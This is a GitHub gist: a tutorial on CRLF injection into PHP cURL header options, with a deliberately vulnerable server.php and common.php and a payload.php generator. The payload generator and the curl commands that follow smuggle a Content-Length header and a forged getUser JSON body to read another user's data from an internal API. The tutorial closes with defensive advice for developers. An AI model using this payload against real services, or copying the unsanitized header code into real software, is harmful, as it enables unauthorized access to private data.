Skip to content

Instantly share code, notes, and snippets.

@tomnomnom
Last active October 11, 2024 16:43
Show Gist options
  • Save tomnomnom/6727d7d3fabf5a4ab20703121a9090da to your computer and use it in GitHub Desktop.
Save tomnomnom/6727d7d3fabf5a4ab20703121a9090da to your computer and use it in GitHub Desktop.

Revisions

  1. tomnomnom revised this gist Aug 3, 2017. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion php-curl-crlf-injection.mkd
    Original file line number Diff line number Diff line change
    @@ -276,7 +276,7 @@ is being read by httpbin.org:
    }
    ```

    And now we have user 5678's details.
    And now we have user 4567's details.

    ## Other Vectors
    `CURLOPT_HTTPHEADER` is not the only cURL option that's vulnerable to this problem. Several other options implicitly set
  2. tomnomnom revised this gist Aug 3, 2017. 3 changed files with 0 additions and 52 deletions.
    12 changes: 0 additions & 12 deletions common.php
    Original file line number Diff line number Diff line change
    @@ -1,12 +0,0 @@
    <?php
    // common.php

    function getTrialGroups(){
    $trialGroups = 'default';

    if (isset($_COOKIE['trialGroups'])){
    $trialGroups = $_COOKIE['trialGroups'];
    }

    return explode(",", $trialGroups);
    }
    12 changes: 0 additions & 12 deletions payload.php
    Original file line number Diff line number Diff line change
    @@ -1,12 +0,0 @@
    <?php
    // payload.php

    $message = json_encode([
    'method' => 'getUser',
    'params' => '1234'
    ]);
    $length = strlen($message);

    $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}";

    echo "Cookie: trialGroups=".urlencode($payload);
    28 changes: 0 additions & 28 deletions server.php
    Original file line number Diff line number Diff line change
    @@ -1,28 +0,0 @@
    <?php
    // server.php

    require __DIR__.'/common.php';

    // Using the awesome httpbin.org here to just reflect
    // our whole request back at us as JSON :)
    $ch = curl_init("http://httpbin.org/post");

    // Make curl_exec return the response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Set the content type and pass through any trial groups
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
    ]);

    // Call the 'getPublicData' RPC method on the internal API
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
    ]));

    // Return the response to the user
    echo curl_exec($ch);

    curl_close($ch);
  3. tomnomnom created this gist Aug 3, 2017.
    12 changes: 12 additions & 0 deletions common.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,12 @@
    <?php
    // common.php

    function getTrialGroups(){
    $trialGroups = 'default';

    if (isset($_COOKIE['trialGroups'])){
    $trialGroups = $_COOKIE['trialGroups'];
    }

    return explode(",", $trialGroups);
    }
    12 changes: 12 additions & 0 deletions payload.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,12 @@
    <?php
    // payload.php

    $message = json_encode([
    'method' => 'getUser',
    'params' => '1234'
    ]);
    $length = strlen($message);

    $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}";

    echo "Cookie: trialGroups=".urlencode($payload);
    291 changes: 291 additions & 0 deletions php-curl-crlf-injection.mkd
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,291 @@
    # CRLF Injection Into PHP's cURL Options

    I spent the weekend meeting hackers in Vegas, and I got talking to one of them about
    CRLF Injection. They'd not seen many CRLF Injection vulnerabilities in the wild, so
    I thought I'd write up an example that's similar to something I found a few months ago.

    If you're looking for bugs legally through a program like [hackerone](https://www.hackerone.com/),
    or you're a programmer wanting to write secure PHP: this might be useful to you.


    ## Scenario

    The code I found was calling an internal API using [PHP's cURL library](http://php.net/manual/en/book.curl.php),
    and was doing it a bit like this (note that I've swapped the remote API URL for http://httpbin.org/post):

    ```php
    <?php
    // server.php

    // Include common functions
    require __DIR__.'/common.php';

    // Using the awesome httpbin.org here to just reflect
    // our whole request back at us as JSON :)
    $ch = curl_init("http://httpbin.org/post");

    // Make curl_exec return the response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Set the content type and pass through any trial groups
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
    ]);

    // Call the 'getPublicData' RPC method on the internal API
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
    ]));

    // Return the response to the user
    echo curl_exec($ch);

    curl_close($ch);

    ```

    Do you see the problem? How about if we take a look at `common.php`?

    ```php
    <?php
    // common.php

    function getTrialGroups(){
    $trialGroups = 'default';

    if (isset($_COOKIE['trialGroups'])){
    $trialGroups = $_COOKIE['trialGroups'];
    }

    return explode(",", $trialGroups);
    }
    ```

    The data returned from `getTrialGroups()` is used as part of the request in the `X-Trial-Groups` header,
    and `getTrialGroups()` gets its data from the user's cookies. That's a problem because cookie values
    are automatically [urldecoded](http://php.net/urldecode) by PHP, and that means we can inject
    [CRLF sequences](https://en.wikipedia.org/wiki/Newline) into cookie values.


    ## Setup

    To demonstrate how we might exploit this, I'll use [PHP's built-in web server](http://php.net/manual/en/features.commandline.webserver.php)
    to run the code locally:

    ```
    ▶ php -S localhost:1234 server.php
    PHP 7.0.18-0ubuntu0.16.04.1 Development Server started at Wed Aug 2 23:45:07 2017
    Listening on http://localhost:1234
    Document root is /home/tom/phpcurl
    Press Ctrl-C to quit.
    ```

    Any request going to `http://localhost/` will now be handled by `server.php`. Let's use the `curl`
    command line client to see what a perfectly legitimate request looks like:

    ```
    ▶ curl -s localhost:1234
    {
    "args": {},
    "data": "{\"method\":\"getPublicData\",\"params\":[]}",
    "files": {},
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "default"
    },
    "json": {
    "method": "getPublicData",
    "params": []
    },
    "origin": "169.254.1.2",
    "url": "http://httpbin.org/post"
    }
    ```

    We get given the remote response from httpbin.org; showing us the headers that were sent, and the `POST` data
    we sent too. Now let's see what it looks like when we use a cookie to set the `newmenu` and `randomSleeps`
    trial groups:

    ```
    ▶ curl -s -H'Cookie: trialGroups=newmenu,randomSleeps' localhost:1234
    {
    "args": {},
    "data": "{\"method\":\"getPublicData\",\"params\":[]}",
    "files": {},
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "newmenu,randomSleeps"
    },
    "json": {
    "method": "getPublicData",
    "params": []
    },
    "origin": "169.254.1.2",
    "url": "http://httpbin.org/post"
    }
    ```

    Spot the difference? Partly for a bit of shameless self promotion I'll use [gron](https://github.com/tomnomnom/gron)
    and `grep` to make it a bit clearer:

    ```
    ▶ curl -s -H'Cookie: trialGroups=newmenu,randomSleeps' localhost:1234 | gron | grep X-
    json.headers["X-Trial-Groups"] = "newmenu,randomSleeps";
    ```

    The trial groups are being passed off to httpbin.org in the `X-Trial-Groups` header as expected;
    not a problem if the feature is used as intended.

    ## Exploitation

    Because the cookie's value is urldecoded automatically by PHP, we can use [urlencoded](http://php.net/urlencode)
    CRLF chatacters (`%0D` and `%0A`) to inject our own headers into the request to the internal API:

    ```
    ▶ curl -s -H'Cookie: trialGroups=newmenu%0D%0AX-Footle:%20bootle' localhost:1234 | gron | grep X-
    json.headers["X-Trial-Groups"] = "newmenu";
    json.headers["X-Footle"] = "bootle";
    ```

    That `X-Footle` header is new :)

    Is injecting a header into the request to the internal API really that much of a problem? Well, *maybe*.
    It really depends on how that API is configured: some software responds to special headers, and
    some servers use [name-based virtual hosting](https://en.wikipedia.org/wiki/Virtual_hosting) so you
    could set the `Host` header and hit a different service. The really nasty thing to do though, is
    exploit a common weakness in many internal APIs: they are too trusting.

    The code is calling the `getPublicData` method using an RPC-style API. It's `POST` data looks like this:

    ```json
    {
    "method": "getPublicData",
    "params": []
    }
    ```

    Many internal APIs will happily return any data they're asked for without additional authorization.
    So if we could change that `POST` data to something else, we might be able to get our hands on something juicy like,
    for example, some private data for user 4567:

    ```json
    {
    "method": "getUser",
    "params": [4567]
    }

    ```

    HTTP is a simple, line-based protocol. The general format of a `POST` request is several headers separated by
    CRLF sequences, then two CRLF sequences, and then `POST` data in the format specified by the `Content-Type` header.

    If we inject two urlencoded CRLF sequences into our cookie value, we can inject our own `POST` data too. There's
    a problem with that though: in the request sent to the API our data will be immediately followed by two CRLF
    sequences, and then the original non-malicious data. As luck would have it however, we can just inject a
    [Content-Length](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13) header to tell the API
    how many bytes to read, having it stop before the original data sent by `server.php`.

    So our payload needs to comprise of:

    1. A dummy value for the `trialGroups`
    2. A CRLF sequence
    3. A `Content-Length` header set to the length of our JSON message
    4. Two CRLF sequences
    5. Our JSON message

    All of that needs to be urlencoded and used as the value for the `trialGroups` cookie.

    Rather than type that all out by hand and make a mistake, I've written a script to do it for me:

    ```php
    <?php
    // payload.php

    $message = json_encode([
    'method' => 'getUser',
    'params' => '4567'
    ]);
    $length = strlen($message);

    $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}";

    echo "Cookie: trialGroups=".urlencode($payload);
    ```

    Running that gives us a cookie header to send with our request:

    ```
    ▶ php payload.php
    Cookie: trialGroups=ignore%0D%0AContent-Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D
    ```

    Too keep the following examples a bit shorter, I'm going to export the cookie header as an environment variable:

    ```
    ▶ export CRLFPAYLOAD="Cookie: trialGroups=ignore%0D%0AContent-Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D"
    ```

    Let's try our request now:

    ```
    ▶ curl -s -H"$CRLFPAYLOAD" localhost:1234
    {
    "args": {},
    "data": "{\"method\":\"getUser\",\"params\":\"4567\"}",
    "files": {},
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "36",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "ignore"
    },
    "json": {
    "method": "getUser",
    "params": "4567"
    },
    "origin": "169.254.1.2",
    "url": "http://httpbin.org/post"
    }
    ```

    Success! Zooming in on that with gron and grep (and an [ungron](https://github.com/tomnomnom/gron#ungronning)) you can see that only our own `POST` data
    is being read by httpbin.org:

    ```
    ▶ curl -s -H"$CRLFPAYLOAD" localhost:1234 | gron | grep json.json | gron -u
    {
    "json": {
    "method": "getUser",
    "params": "4567"
    }
    }
    ```

    And now we have user 5678's details.

    ## Other Vectors
    `CURLOPT_HTTPHEADER` is not the only cURL option that's vulnerable to this problem. Several other options implicitly set
    headers on the request, and are therefore vulnerable too. You should not include user-controllable data in the values for:

    * `CURLOPT_COOKIE`
    * `CURLOPT_RANGE`
    * `CURLOPT_REFERER`
    * `CURLOPT_USERAGENT`
    * `CURLOPT_PROXYHEADER`

    If you find more please let me know :)
    28 changes: 28 additions & 0 deletions server.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,28 @@
    <?php
    // server.php

    require __DIR__.'/common.php';

    // Using the awesome httpbin.org here to just reflect
    // our whole request back at us as JSON :)
    $ch = curl_init("http://httpbin.org/post");

    // Make curl_exec return the response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Set the content type and pass through any trial groups
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
    ]);

    // Call the 'getPublicData' RPC method on the internal API
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
    ]));

    // Return the response to the user
    echo curl_exec($ch);

    curl_close($ch);